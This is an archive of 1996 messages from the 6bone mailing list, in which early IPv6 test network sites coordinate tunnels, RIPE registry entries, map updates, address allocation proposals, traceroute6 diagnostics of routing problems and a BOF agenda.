	new site BAY-FRANCE/FR tunnelled to BAY/US

	new site CEFRIEL/IT tunnelled to POLITO/IT

Welcome to the new sites!

SICS and POLITO should note that they need to add the tunnel end points for
these tunnels to their RIPE registry.


Thanks,

Bob



From majordom@ISI.EDU  Tue Nov 26 06:42:23 1996
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Date: Tue, 26 Nov 1996 14:42:23 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone attach locs page modified
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I have updated the attachment location 6bone web page to include Bay and
Digital (Cisco and Netlag weere already listed).

	http://www-6bone.lbl.gov/6bone/6bone_attach_locs.html

I suspect that many have missed my minimal pointer to this page on the
6bone hookup page.

	http://www-6bone.lbl.gov/6bone/6bone_hookup.html


I would encourage anyone that wants equal billing to review this page and
send me email with their intent/desire to be added to this page as well as
an email contact point.


Thanks,

Bob



From majordom@ISI.EDU  Thu Nov 28 23:34:14 1996
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Date: Thu, 28 Nov 1996 14:34:14 +0900
To: 6bone@ISI.EDU (6BONE Mailer)
From: sakurai@rinfo.sumiden.co.jp (Akihiro Sakurai)
Subject: New Tunnels
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All,

I've update SUMITOMO-JP's RIPE database entry with new tunnels:

        SUMITOMO-JP <-> DIGITAL-CA      RIPng
        SUMITOMO-JP <-> KEK             Static Routing

Regards,

------------------------------------------------------------------------
Akihiro Sakurai                       E-mail:sakurai@rinfo.sumiden.co.jp
Systems and Electronics R & D Center, Sumitomo Electric Industries, Ltd.
Phone +81-6-466-5601 Fax +81-6-462-4586



From majordom@ISI.EDU  Fri Nov 29 00:28:33 1996
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Message-Id: <199611290028.AAA28569@oberon.di.fc.ul.pt>
From: Pedro Roque <roque@di.fc.ul.pt>
To: 6bone@ISI.EDU
Subject: BOF topic - address allocation
Sender: owner-6bone@ISI.EDU
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This is a proposal for a small modification of RFC 1897 which could be
considered a complement to what Alain Durand was proposing in a previous
mail. As 1897 is a formal document i thought i better write the "mail"
in a similiar way.

./Pedro.

------------------------------------------------------------------------------
Submission to the 6bone BOF					     Roque, P.
November 1996						     roque@di.fc.ul.pt

		   Address Allocation on the 6bone


  Abstract

    This document suggests an address allocation policy for use in the
    6bone.

  Introduction

    Currently, the 6bone, although composed of a small number of nodes
    starts to show some characteristics that should be avoided in terms
    of address allocation.

    The current 6bone topology, appears as a mixture of a full mesh network
    and a geographic based network. This fact tends to increase the
    complexity of the management tasks and routing table determination.
    But as routing protocols start to be deployed, the topology moves
    to a more common model of a large group of leaf domains and a smaller
    group of transit domains, the current address allocation [RFC1897] 
    will still force transit routers to carry an average of one entry
    per connected site.

    The goal of this document is to propose a way to reduce this ratio
    via changes to the address allocation procedure. Complementary, it
    is believed that it will reduce the management tasks of the network
    (specially until the point that every transit site speaks a common
    routing protocol).

  "Real" IPv6 addresses

    Using IPv6 addresses out of the "Test Address Allocation" space in
    the current 6bone is an alternative that the author considers to be 
    a potential disservice to IPv6 deployment.

    Of the current 6bone sites that provide for transit traffic a very
    small percentage are transit domains for the IPv4 Internet. Since
    an address allocation should distribute small prefixes for transit
    domains for further allocation to leaf nodes that default through
    them, it would be necessary to allocate at the moment "top level
    provider" prefixes to the transit domains.

    Since the significative majority of those domains will not, under
    normal circumstances, be considered "top level" transit networks
    this policy will then to waste address space and reduce the aggregation
    capability of the future IPv6 Internet.

    The author believes that an address allocation policy should follow
    the wire topology, and not a virtual topology like the current 6bone.

  Modifications to the Test Address Allocation

    RFC 1897 specifies that a site should use a prefix composed of the
    test allocation prefix (5f::/8), it's network provider AS number
    and it's IPv4 network addresses.

    The author suggests that for leaf nodes, the prefix should be
    constructed using the 32 first bits of the prefix used by the
    transit site they connect to. The following 32 bits of the prefix
    should be constructed according to the rule set on the referred
    document.

    For transit domains, the AS number used should be an AS number
    registered in the InterNIC database for that domain, if available.
    Else the transit domain will use the AS number of it's network
    provider and a sequential number (starting from 1) on the first
    reserved field of RFC 1897 (from left to right).

    It is expected that users of the same AS can resolve the attribution
    of the sub-AS identifier as a local problem.

    As the 6bone grows it's topology is expected to converge to the current
    Internet topology and transit sites will normally own an AS identifier.

  Lifetime

    This policy is only intended to the short term, and if adopted, should
    be reviewed periodicly.

From majordom@ISI.EDU  Fri Nov 29 20:50:29 1996
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  (5.67b/IDA-1.5 for 6bone@isi.edu); Fri, 29 Nov 1996 19:50:30 +0100
From: Paolo Malara <malara@crs4.it>
Message-Id: <199611291850.AA69085@bruckner.crs4.it>
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To: 6bone@isi.edu
Cc: silvano.gai@polito.it
Subject: CRS4 asking to join
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Hello,

CRS4 is looking for a point of attachment to the 6bone.

We are a non-profit research center located in Sardinia (more info at 
http://www.crs4.it).

We are currently running IPv6 on a few Solaris-2.5 machines (sparc based).

I guess the best choice for us is "Politecnico di Torino", isn't it?

Any help would be really appreciated.

Thanks.

 Paolo Malara


  
-- 
* * * * *Centro di Ricerca, Sviluppo e Studi Superiori in Sardegna * * * * * *
*                                            *                               *
*      Paolo Malara                          *   Phone: (+39) 70 2796 260    *
*                                            *                               *
*      CRS4                                  *   Fax:   (+39) 70 2796 245    *
*      via Nazario Sauro, 10                 *                               *
*      09123 Cagliari, Italy                 *   E-mail: malara@crs4.it      *
*                                            *                               *
* * * Centre for Advanced Studies, Research, and Development in Sardinia * * *




From majordom@ISI.EDU  Fri Nov 29 05:09:34 1996
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Date: Fri, 29 Nov 1996 13:09:34 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone map change
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6bone diagram version 40:

	SUMITOMO/JP tunnel to DIGITAL-CA/US

	SUMITOMO/JP tunnel to KEK/JP

Note to KEK/JP to add SUMITOMO tunnel to their RIPE entry.


Thanks,

Bob



From majordom@ISI.EDU  Fri Nov 29 11:12:14 1996
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From: "Andrew J. Hoag" <ahoag@nas.nasa.gov>
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Date: Fri, 29 Nov 1996 19:12:14 -0800
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To: 6bone@isi.edu
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I ran another VRML map and GIF snapshots. Things seem to be growing quite
rapidly. Here's the problems from the RIPE database:

182 (99 / 83 dups) tunnels processed for 59 sites.
Asymmetric tunnel: DIGITAL-CA (204.123.2.236) --> NIST (129.6.51.154)
Asymmetric tunnel: DIGITAL-CA (204.123.2.236) --> NRL (132.250.90.5)
Asymmetric tunnel: DIGITAL-CA (204.123.2.236) --> SOFTBANK (199.45.11.20)
Asymmetric tunnel: DIGITAL-CA (204.123.2.236) --> MERIT (198.108.60.153)
Asymmetric tunnel: ERA (192.71.20.139) --> SICS (193.10.66.50)
Asymmetric tunnel: ESNET (198.128.2.27) --> JOIN (128.176.191.66)
Asymmetric tunnel: ESNET (198.128.2.27) --> FNAL (131.225.57.207)
Asymmetric tunnel: FNAL (131.225.57.207) --> ESNET (198.128.4.72)
Asymmetric tunnel: IBS-US (208.131.3.35) --> UO (128.223.222.11)
Asymmetric tunnel: JOIN (128.176.191.66) --> ESNET (198.128.4.72)
Asymmetric tunnel: LIU (130.236.79.169) --> SICS (193.10.66.50)
Asymmetric tunnel: NETGOD (206.129.65.250) --> IBS-US (208.131.3.35)
Asymmetric tunnel: NRL (132.250.90.5) --> UL (192.67.76.128)
Asymmetric tunnel: SUMITOMO-JP (133.153.22.100) --> KEK (130.87.57.37)
Asymmetric tunnel: TELEBIT (194.182.135.253) --> NIST (129.6.51.154)
Asymmetric tunnel: TELEBIT (194.182.135.253) --> G6 (193.55.240.18)
Asymmetric tunnel: UCAM-T (131.111.193.104) --> IFB (194.105.166.254)
Asymmetric tunnel: UL (192.67.76.128) --> NRL (132.250.90.16)

So there are still some tunnels in RIPE that don't have the corresponding
return tunnel. DIGITAL-CA seems have a lot on its list, but is not in anyone's
list.

I _am_ aware of the positioning problems in the UK (I don't have new / better
lat-longs yet) and the old political boundaries (non-unified Germany). I'm
keeping my eyes peeled for a new globe that is more up to date.

Enjoy!

-- 
| Andrew Hoag      | MS 258-6                | Voice: (415) 604-4972 |
| Network Engineer | Moffett Field, CA 94035 |   Fax: (415) 604-4377 |
| High-Speed LAN   +------------------------+---+--------------------+
| NAS Facility     | http://www.gac.edu/~ahoag/ | ahoag@nas.nasa.gov |
--

From majordom@ISI.EDU  Fri Nov 29 13:54:33 1996
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To: "Andrew J. Hoag" <ahoag@nas.nasa.gov>
Cc: 6bone@isi.edu, ipv6-ops@nas.nasa.gov, stuart@pa.dec.com
Subject: Re: New VRML Map & snapshots 
In-Reply-To: Your message of Fri, 29 Nov 96 19:12:14 -0800.
             <9611291912.ZM3797@rennsport.nas.nasa.gov> 
Date: Fri, 29 Nov 96 21:54:33 -0800
From: Stephen Stuart <stuart@pa.dec.com>
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> 182 (99 / 83 dups) tunnels processed for 59 sites.
> Asymmetric tunnel: DIGITAL-CA (204.123.2.236) --> NIST (129.6.51.154)
> Asymmetric tunnel: DIGITAL-CA (204.123.2.236) --> NRL (132.250.90.5)
> Asymmetric tunnel: DIGITAL-CA (204.123.2.236) --> SOFTBANK (199.45.11.20)
> Asymmetric tunnel: DIGITAL-CA (204.123.2.236) --> MERIT (198.108.60.153)

NIST and NRL requested tunnels a while back but never followed up when
I added them; I've taken them off our list. 

Merit requested a RIP tunnel, and I'm not sure what their intentions
are regarding listing it in their registry. Softbank doesn't seem to
have appeared in the registry yet.

> So there are still some tunnels in RIPE that don't have the corresponding
> return tunnel. DIGITAL-CA seems have a lot on its list, but is not
> in anyone's list.

I list what I've configured, and I configure what's been requested. Is
there some other procedure that other people follow?

Stephen

From majordom@ISI.EDU  Fri Nov 29 15:31:23 1996
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From: ahoag@nas.nasa.gov (Andrew J. Hoag)
Message-Id: <199611300731.XAA04133@rennsport.nas.nasa.gov>
Subject: Re: New VRML Map & snapshots
To: stuart@pa.dec.com (Stephen Stuart)
Date: Fri, 29 Nov 1996 23:31:23 -0800 (PST)
Cc: 6bone@isi.edu
In-Reply-To: <9611300554.AA25080@nsl-too.pa.dec.com> from "Stephen Stuart" at Nov 29, 96 09:54:33 pm
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> > So there are still some tunnels in RIPE that don't have the corresponding
> > return tunnel. DIGITAL-CA seems have a lot on its list, but is not
> > in anyone's list.
> 
> I list what I've configured, and I configure what's been requested. Is
> there some other procedure that other people follow?

I'm sorry, I wasn't trying to single you out. It probably would have been
better to list the other parties who hadn't updated their entries, rather
than the person who did. :-)

Unfortunately, there isn't really a "procedure" to any of this and
frequently people don't remember to update the database entry as they add
tunnels, and that's what I am trying to point out. As accurate information
as we can get will be helpful in a couple of weeks when we try and figure
out what, if any, actions are neccessary to grow the 6bone.

Thanks for the update!


From majordom@ISI.EDU  Sat Nov 30 02:40:23 1996
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To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: additions to 6bone hookup locs page and change in format
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I've added G6 to the hoookup locs page and also minimized the gratuitious text.

	http://www-6bone.lbl.gov/6bone/6bone_attach_locs.html


Thanks,

Bob



From majordom@ISI.EDU  Sat Nov 30 19:31:43 1996
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Date: Sat, 30 Nov 1996 19:31:43 +0000 (GMT)
From: Philip Blundell <pjb27@cam.ac.uk>
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To: Matt Crawford <crawdad@fnal.gov>
Cc: Alain Durand <Alain.Durand@imag.fr>, 6BONE Mailer <6bone@ISI.EDU>
Subject: Re: evolution of the 6-bone
In-Reply-To: <199611251638.KAA11207@gungnir.fnal.gov>
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On Mon, 25 Nov 1996, Matt Crawford wrote:

> I can't quite accept your definition of Core Node, and I don't like
> the name Leaf Node as you use it.  Specifically, I don't think a core
> node should be required to provide a tunnel to everyone who asks.
> Rather, the set of all Core Nodes should be defined so that at least
> one will provide a tunnel to anyone who asks, and possibly the
> connecting site occasionally will be required to re-home when the
> Core reorganizes.
> 
> A Node which is not a Core Node may be an IPv6 provider to many other
> sites.  I think the term "Leaf" isn't appropriate in this case.
> 
> Also, you may want to require that any two Core Nodes are connected
> by an IPv6 path which includes only Core Nodes.

I agree with Matt.  I don't think it's reasonable to require any
particular Core Node to accept a tunnel from all comers.  A "leaf" node
would have to be a node which doesn't forward traffic for _any_ other
node, but I'm not at all convinced that it would be a useful concept to
come up with.  In the UK, at least, things seem to be heading towards a
loosely-organised but quite well-connected web, with many tunnels between
sites, rather than one central 'backbone' node and many 'leaf' nodes
hanging off it.

I suggest that core nodes (as defined above) be designated as such on the
map, and all other nodes just be left without any special annotation.

phil


From majordom@ISI.EDU  Sat Nov 30 12:31:48 1996
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Message-Id: <32A099AA.4796@ms2.inr.ac.ru>
Date: Sat, 30 Nov 1996 23:31:38 +0300
From: "A.N.Kuznetsov" <kuznet@ms2.inr.ac.ru>
Organization: INR
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Subject: INR looking for tunnel
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Hello!


We are looking for a tunnel to 6bone.

Location: Moscow, Russia

Institute for Nuclear Research (http://www.inr.ac.ru)

Supposed tunnel endpoint: dee.inr.ac.ru (193.233.7.82)
IPv6 net: 5f0b:4f00:c1e9:700::/64

Any would be appreciated. Thanks.


Alexey Kuznetsov.
INR Network Administrator.
kuznet@ms2.inr.ac.ru

From majordom@ISI.EDU  Sat Nov 30 17:13:56 1996
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Date: Sat, 30 Nov 1996 23:13:56 -0600 (CST)
From: Jeff Barrow <jeffb@hsnp.com>
To: 6bone@isi.edu
Subject: RIPE registry
Message-Id: <Pine.LNX.3.93.961130231238.8545B-100000@netc.netc.com>
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I'm interested in adding an entry to the RIPE registry.  I don't have the
group password, however.

Here's the entry I'd like added (NETC):
site:           Internet Connections, Inc.
location:       Hot Springs, AR, USA
prefix:         5f0f:4a00:c7be:6e00::/64
ping:           5f00:4a00:c7be:6e00:0:a0:24ec:f97a v6.netc.com
tunnel:	        199.190.110.15 204.123.2.236 DIGITAL-CA operational
contact:        Jeff Barrow <jeffb@netc.com>
status:         operational
remark:         Linux 2.1/ipv6
changed:        jeffb@netc.com 961129
source:         RIPE

Thanks, Jeff Barrow


From majordom@ISI.EDU  Mon Dec  2 03:05:30 1996
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To: Philip Blundell <pjb27@cam.ac.uk>
Cc: Matt Crawford    <crawdad@fnal.gov>, Alain Durand <Alain.Durand@imag.fr>,
        6BONE Mailer <6bone@ISI.EDU>
Subject: Re: evolution of the 6-bone 
In-Reply-To: Your message of "Sat, 30 Nov 96 19:31:43 GMT."
             <Pine.SOL.3.95.961130192603.22479B-100000@hammer.thor.cam.ac.uk> 
Date: Mon, 02 Dec 96 08:05:30 -0500
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how about a core node forwards packets?

/jim

From majordom@ISI.EDU  Mon Dec  2 07:44:27 1996
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Subject: Re: New VRML Map & snapshots
To: Stephen Stuart <stuart@pa.dec.com>
Date: Mon, 2 Dec 1996 12:44:27 -0500 (EST)
From: Ronald Lee <ronlee@CS.NRL.NAVY.MIL>
Cc: ahoag@nas.nasa.gov, 6bone@isi.edu, ipv6-ops@nas.nasa.gov,
        stuart@pa.dec.com
In-Reply-To: <9611300554.AA25080@nsl-too.pa.dec.com> from "Stephen Stuart" at Nov 29, 96 09:54:33 pm
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> NIST and NRL requested tunnels a while back but never followed up when
> I added them; I've taken them off our list. 


My apologies Stephen.  My email must have gotten lost, because I was
waiting for a reply from you and then I got caught up in some projects.

If you're still interested, we can still set up tunnel.

Take care!
Ron

From majordom@ISI.EDU  Tue Dec  3 04:49:20 1996
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To: 6bone@isi.edu
Subject: link-local addresses are traversing
From: kazu@is.aist-nara.ac.jp (at the University of New Hampshire)
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Hi, 

The following is the result of "traceroute6" from the University of
New Hampshire to WIDE project.

lobster# traceroute6 bravo.v6.wide.ad.jp
traceroute to bravo.v6.wide.ad.jp (5f09:c400:a3dd:ca00::f801:5df5), 30 hops max, 60 byte packets
 1  5f02:3000:84b1:7e80:: (5f02:3000:84b1:7e80::)  1.908 ms  1.824 ms  1.772 ms
 2  fe80::cc7b:2ec (fe80::cc7b:2ec)  103.54 ms  99.682 ms  120.378 ms
 3  6bone-router.cisco.inner.net (5f00:6d00:c01f:700:1:60:3e11:6770)  347.197 ms *  274.7 ms
 4  esnet-v6r1.es.net (::198.128.2.27)  281.609 ms  251.368 ms  253.379 ms
 5  6bone-router.cisco.inner.net (5f00:6d00:c01f:700:1:60:3e11:6770)  248.65 ms

First, I would like to ask each maintainer to make your router not to
select a link-local source address for a global destination. According
to the 6bone map, fe80::cc7b:2ec is NRL/US(one between UNH/US and
IBM/US).

Second, routing loop occurs. Please check out your routing
tables. 

Thanks.

--Kazu

From majordom@ISI.EDU  Mon Dec  2 19:56:40 1996
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From: "Jeff Barrow" <jeffb@hsnp.com>
To: <6bone@ISI.EDU>,
        "at the University of New Hampshire" <kazu@is.aist-nara.ac.jp>
Subject: Re: link-local addresses are traversing
Date: Tue, 3 Dec 1996 01:56:40 -0600
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----------
>From: at the University of New Hampshire <kazu@is.aist-nara.ac.jp>
>To: 6bone@ISI.EDU
>Subject: link-local addresses are traversing
>Date: Monday, December 02, 1996 4:49 AM
[...]
> 1  5f02:3000:84b1:7e80:: (5f02:3000:84b1:7e80::)  1.908 ms  1.824 ms 
1.772 ms
> 2  fe80::cc7b:2ec (fe80::cc7b:2ec)  103.54 ms  99.682 ms  120.378 ms
> 3  6bone-router.cisco.inner.net (5f00:6d00:c01f:700:1:60:3e11:6770) 
347.197 ms *  274.7 ms
> 4  esnet-v6r1.es.net (::198.128.2.27)  281.609 ms  251.368 ms  253.379 ms
> 5  6bone-router.cisco.inner.net (5f00:6d00:c01f:700:1:60:3e11:6770) 
248.65 ms
>
>First, I would like to ask each maintainer to make your router not to
>select a link-local source address for a global destination. According
>to the 6bone map, fe80::cc7b:2ec is NRL/US(one between UNH/US and
>IBM/US).
Are you sure?  I have a tunnel from v6.netc.com (NETC) to DIGITAL-CA as my
ONLY tunnel, and it's traceroute comes up with that same link-local address
as the first destination node of any traceroute that works... (I think that
address may be DIGITAL-CA's, but I can't be too sure)

--Jeff Barrow

From majordom@ISI.EDU  Mon Dec  2 16:50:58 1996
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To: "Jeff Barrow" <jeffb@hsnp.com>
Cc: 6bone@ISI.EDU, stuart@pa.dec.com
Subject: Re: link-local addresses are traversing 
In-Reply-To: Your message of Tue, 03 Dec 96 01:56:40 -0600.
             <199612030517.XAA13954@netc.netc.com> 
Date: Tue, 03 Dec 96 00:50:58 -0800
From: Stephen Stuart <stuart@pa.dec.com>
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> Are you sure?  I have a tunnel from v6.netc.com (NETC) to DIGITAL-CA as my
> ONLY tunnel, and it's traceroute comes up with that same link-local address
> as the first destination node of any traceroute that works... (I think that
> address may be DIGITAL-CA's, but I can't be too sure)

The router at DIGITAL-CA has a link-local address of fe80::f842:142c,
not fe80::cc7b:02ec.

A traceroute from one of my IPV6 hosts (host.ipv6.pa-x.dec.com) to
v6.netc.com shows that gw.ipv6.pa-x.dec.com is reporting its address
correctly. I'll check with the engineers to see if there are
conditions under which it would behave differently, though.

% traceroute6 v6.netc.com                                   
traceroute to v6.netc.com (5F0F:4A00:C7BE:6E00::A0:24EC:F97A), 30 hops max, 24 byte packets
 1  gw.ipv6.pa-x.dec.com (5F00:2100:CC7B::12:0:F842:142C)  1.952 ms 1.952 ms  1.952 ms
 2  5F0F:4A00:C7BE:6E00::A0:24EC:F97A (5F0F:4A00:C7BE:6E00::A0:24EC:F97A)  123.952 ms  97.542 ms  132.694 ms

Stephen

From majordom@ISI.EDU  Tue Dec  3 12:52:10 1996
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Date: Tue, 03 Dec 1996 20:52:10 -0800
From: Lee Wangbong <leewb@dcn.soongsil.ac.kr>
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This is Soongsil Univ in Seoul, Korea.
I'm Wangbong Lee , working at DCN lab in Soongsil Univ.
We are implementing IPv6 host based on FreeBSDv2.0 O.S. 
Then we now implemented basic function of IPv6 host. 
We want join 6-bone.

I have some questions for choosing an ipv6 address.
That is ANS field of address format.
How can I choose ANS ?
And I thought that RES field filled by zeros. Is it correct?
I wonder about that.

Pleade HELP me..
and Our implemented host address is 203.253.3.205(IPv6/IPv4 host).

Waiting for your respond.
Thanks for reading.
Good Luck.

From majordom@ISI.EDU  Tue Dec  3 04:57:39 1996
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Subject: Re: link-local addresses are traversing
To: 6bone@isi.edu
Date: Tue, 3 Dec 1996 09:57:39 -0500 (EST)
From: Bao Phan <phan@badfan.nrl.navy.mil>
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> The following is the result of "traceroute6" from the University of
> New Hampshire to WIDE project.
> 
> lobster# traceroute6 bravo.v6.wide.ad.jp
> traceroute to bravo.v6.wide.ad.jp (5f09:c400:a3dd:ca00::f801:5df5), 30 hops ma
x, 60 byte packets
>  1  5f02:3000:84b1:7e80:: (5f02:3000:84b1:7e80::)  1.908 ms  1.824 ms  1.772 m
s
>  2  fe80::cc7b:2ec (fe80::cc7b:2ec)  103.54 ms  99.682 ms  120.378 ms
>  3  6bone-router.cisco.inner.net (5f00:6d00:c01f:700:1:60:3e11:6770)  347.197 
ms *  274.7 ms
>  4  esnet-v6r1.es.net (::198.128.2.27)  281.609 ms  251.368 ms  253.379 ms
>  5  6bone-router.cisco.inner.net (5f00:6d00:c01f:700:1:60:3e11:6770)  248.65 m
s
> 
> First, I would like to ask each maintainer to make your router not to
> select a link-local source address for a global destination. According
> to the 6bone map, fe80::cc7b:2ec is NRL/US(one between UNH/US and
> IBM/US).
 
fe80::cc7b:2ec does not belong to NRL/US.  This link-local address appears to
be from DIGITAL-CA/US (pax-6bone.pa-x.dec.com/204.123.2.236).  A traceroute
to the host yields:

# ./traceroute ::204.123.2.236
traceroute to ::204.123.2.236 (::204.123.2.236), 30 hops max, 16 byte packets
 1  fe80::cc7b:2ec (fe80::cc7b:2ec)  222.196 ms  78.362 ms  84.14 ms

I have seen packets with link-local source address forwarded on the 6bone
on a number of occasions.  Do most implementations forward such packets
despite what the specs say? 

From majordom@ISI.EDU  Tue Dec  3 16:59:26 1996
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To: Pedro Roque <roque@di.fc.ul.pt>
Cc: 6bone@ISI.EDU
Subject: Re: BOF topic - address allocation 
In-Reply-To: Your message of "Fri, 29 Nov 96 00:28:33 GMT."
             <199611290028.AAA28569@oberon.di.fc.ul.pt> 
Date: Tue, 03 Dec 96 21:59:26 -0500
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Pedro,

I am concerned about propogating IPv4 any further than we have. 
I am hoping we some consensus with Mike O'dell's 8+8 proposal at San
Jose and then I think you might want to consider its use is my input to
you.  I am not saying I disagree with you.  I just think we need to get
even more real if possible.

/jim

From majordom@ISI.EDU  Thu Dec  5 07:08:01 1996
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From: "Mikolaj J. Habryn" <dichro@tartarus.uwa.edu.au>
To: 6bone@isi.edu
Subject: UWA looking for tunnel
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  Hi - we're looking for a tunnel into the 6bone. We being a part of
the University of Western Australia, in Perth, WA. Tunnel endpoint is
::130.95.101.10, and our net is 5f04:c500:825f:6500::/64. Thanks.

m.

From majordom@ISI.EDU  Wed Dec  4 19:24:17 1996
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Date: Wed, 04 Dec 1996 18:24:17 +0100
From: Guardini Ivano <Ivano.Guardini@cselt.stet.it>
Subject: New site CSELT-IT
To: "'6bone@isi.edu'" <6bone@isi.edu>
Cc: "'paolo.fasano@cselt.stet.it'" <paolo.fasano@cselt.stet.it>
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Hy,

we connected our IPv6 test-site to the 6bone.
One tunnel is operational to CEFRIEL-IT.

Following information has been stored on the RIPE server:

site:           CSELT (Centro Studi E Laboratori Telecomunicazioni)
location:       Torino, ITALY
loc-string:     45 03 52.2n 07 39 43.2e 250m
prefix:         5f16:4d00::/32
ping:           5f16:4d00:a3a2:1100:11:800:2071:d812 
tunnel:         163.162.252.4 131.175.5.37   CEFRIEL
contact:        Ivano Guardini <ivano.guardini@cselt.stet.it>
status:         operational since December 4, 1996
remark:         Sun SPARC STATION 20, IPv6 for Solaris 2.5 
changed:        ivano.guardini@cselt.stet.it 19961204
source:         RIPE


                          Ivano
---------------------------------------------------
Ivano Guardini  CSELT SpA
via G. Reiss Romoli 274  Torino (Italy)
Tel. +39 11 228 5424
Fax. +39 11 228 5069
---------------------------------------------------


From majordom@ISI.EDU  Wed Dec  4 23:20:35 1996
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Date: Thu, 5 Dec 1996 07:20:35 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone BOF reminder
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Just a reminder that the 6bone BOF will be on Tuesday (Dec 10) from 3:30 to
5:30.

The agenda is still as originally advertized:


1.  Discussion of usefulness and goals of a 6bone deployment working group

2.  Ongoing 6bone business


For ongoing business I will start with Alain Durand's list (with Pedro
Roque's submission added) and we can modify it at the start of the meeting:

- RIPE registry
  * database clean up
  * new syntax & new entries (some important infos are missing)
        - experimental tunnels
        - IPv6 endpoints
        - speed/reliability of tunnels
        - sub-tunnels (tunnels to a subset of a site)
        - existence of a routing protocol
        - site carrying full routing table
  * database sanity check

- 6-bone topology
  * comments on the current topology
  * how to add new tunnels ?
  * should we go to a full mesh of core routers?

- map of the 6-bone
   * usefullness of various maps
   * full maps, sub-maps...

- dynamic routing
   * is it needed at the scale of the 6-bone?
   * is RIPng suitable?
   * experiences with other routing protocols?

- Addresses
   * limitations of RFC1897
   * Pedro Roque's proposal for a change to RFC 1897
   * could we try something else?
   * what about "real" IPv6 addresses ?


Thanks,

Bob



From majordom@ISI.EDU  Thu Dec  5 00:04:21 1996
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Date: Thu, 5 Dec 1996 08:04:21 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone map changes
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6bone diagram 42:

	new site DFN/DE tunnelled to JOIN/DE

	new site SWITCH/CH tunnelled to SICS/SE

	new site ETHZ/CH tunnelled to SWITCH/CH

	new site CSELT/IT tunnelled to CEFRIEL/IT


Welcome to new sites DFN, SWITCH, ETHZ and CEFRIEL.  ALso welcome to CH for
the first time (so the Tshirt is now telling no lie!).


Thanks,

Bob




From majordom@ISI.EDU  Thu Dec  5 04:45:28 1996
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Date: Thu, 05 Dec 1996 10:45:28 -0600
From: Matt Crawford <crawdad@fnal.gov>
Subject: Re: 6bone BOF reminder
In-Reply-To: "05 Dec 1996 07:20:35 PST." <"v03007805aecc966437b4"@[128.3.9.22]>
To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@isi.edu (6BONE Mailer)
Message-Id: <199612051645.KAA00990@gungnir.fnal.gov>
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X-Face: 
 /RKQi"kntyd}7l)d8n%'Dum<~(aMW3,5g&'NiH5I4Jj|wT:j;Qa$!@A<~/*C:{:MmAQ:o%S /KKi}G4_.||4I[9!{%3]Hd"a*E{<k&QF?d6L7o&zLqb%kXn!!]ykXMKtTiy9#20]$EKP/^Z$T]'P6,
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How about a trial deplyment of 8+8?  I realize that this requires
changes from host implementations (not least because of the change to
the pseudo-header checksum) and the router vendors (to insert the
RG), but a statement "from the 6bone" might be useful encouragement.

Anyway, I request that this go on the agenda.

				Matt

From majordom@ISI.EDU  Thu Dec  5 01:06:49 1996
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References: "05 Dec 1996 07:20:35 PST."
 <"v03007805aecc966437b4"@[128.3.9.22]>
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Date: Thu, 5 Dec 1996 09:06:49 -0800
To: Matt Crawford <crawdad@fnal.gov>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: 6bone BOF reminder
Cc: 6bone@isi.edu (6BONE Mailer)
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At 8:45 AM -0800 12/5/96, Matt Crawford wrote:
>How about a trial deplyment of 8+8?  I realize that this requires
>changes from host implementations (not least because of the change to
>the pseudo-header checksum) and the router vendors (to insert the
>RG), but a statement "from the 6bone" might be useful encouragement.
>
>Anyway, I request that this go on the agenda.

Sure!


Thanks,

Bob



From majordom@ISI.EDU  Thu Dec  5 08:07:38 1996
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Date: Thu, 5 Dec 1996 16:07:38 -0800 (PST)
From: Doug Junkins <junkins@nwnet.net>
To: 6bone@isi.edu
Subject: 6bone tunnel request
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I'm interested in getting a 6bone tunnel.  We are a regional ISP for the
Pacific Northwest with DS-3 connectivity to both Sprint and MCI in Seattle
so a tunnel source with good connectivity to one of those providers will
make good topological sense.

I've got a Sun workstation with version 5.0 of Sun's IPv6 code installed.
The RFC-1897 prefix is 5f02:ad00:c050:0d00/64.  Once we have a tunnel
provider, I will submit our entry to the RIPE-NCC 6bone Registry.

I am interested in participating in the 6bone to get some experience with
IPv6 -- especially dynamic routing implementations and troubleshooting.

- Doug

 /  Douglas A. Junkins    |   Network Engineering        \
/   Network Engineer      |   NorthWestNet                \
\   junkins@nwnet.net     |   Bellevue, Washington, USA   /
 \  (206)649-7419         |                              /

P.S.  See you in San Jose...


From majordom@ISI.EDU  Thu Dec  5 09:45:11 1996
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To: Doug Junkins <junkins@nwnet.net>
Cc: 6bone@isi.edu, stuart@pa.dec.com
Subject: Re: 6bone tunnel request 
In-Reply-To: Your message of Thu, 05 Dec 96 16:07:38 -0800.
             <Pine.SOL.3.95.961205155845.17156B-100000@cypress.nwnet.net> 
Date: Thu, 05 Dec 96 17:45:11 -0800
From: Stephen Stuart <stuart@pa.dec.com>
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> I've got a Sun workstation with version 5.0 of Sun's IPv6 code installed.
> The RFC-1897 prefix is 5f02:ad00:c050:0d00/64.  Once we have a tunnel
> provider, I will submit our entry to the RIPE-NCC 6bone Registry.

Tell me your IPV4 address, and I'll set up a tunnel from DIGITAL-CA.

> I am interested in participating in the 6bone to get some experience with
> IPv6 -- especially dynamic routing implementations and troubleshooting.

Does that mean you'd like RIPv6 turned on?

Stephen
- -----
Stephen Stuart				stuart@pa.dec.com
Network Systems Laboratory
Digital Equipment Corporation

From majordom@ISI.EDU  Thu Dec  5 19:12:08 1996
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From: "David M. Meyer" <meyer@network-services.uoregon.edu>
Message-Id: <199612061112.DAA22969@network-services.uoregon.edu>
Subject: Re: 6bone tunnel request
To: junkins@nwnet.net (Doug Junkins)
Date: Fri, 6 Dec 1996 03:12:08 -0800 (PST)
Cc: 6bone@ISI.EDU
In-Reply-To: <Pine.SOL.3.95.961205155845.17156B-100000@cypress.nwnet.net> from "Doug Junkins" at Dec 5, 96 04:07:38 pm
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	Doug,

	I'll provide it to you.,


	Dave

According to Doug Junkins:
> 
> 
> I'm interested in getting a 6bone tunnel.  We are a regional ISP for the
> Pacific Northwest with DS-3 connectivity to both Sprint and MCI in Seattle
> so a tunnel source with good connectivity to one of those providers will
> make good topological sense.
> 
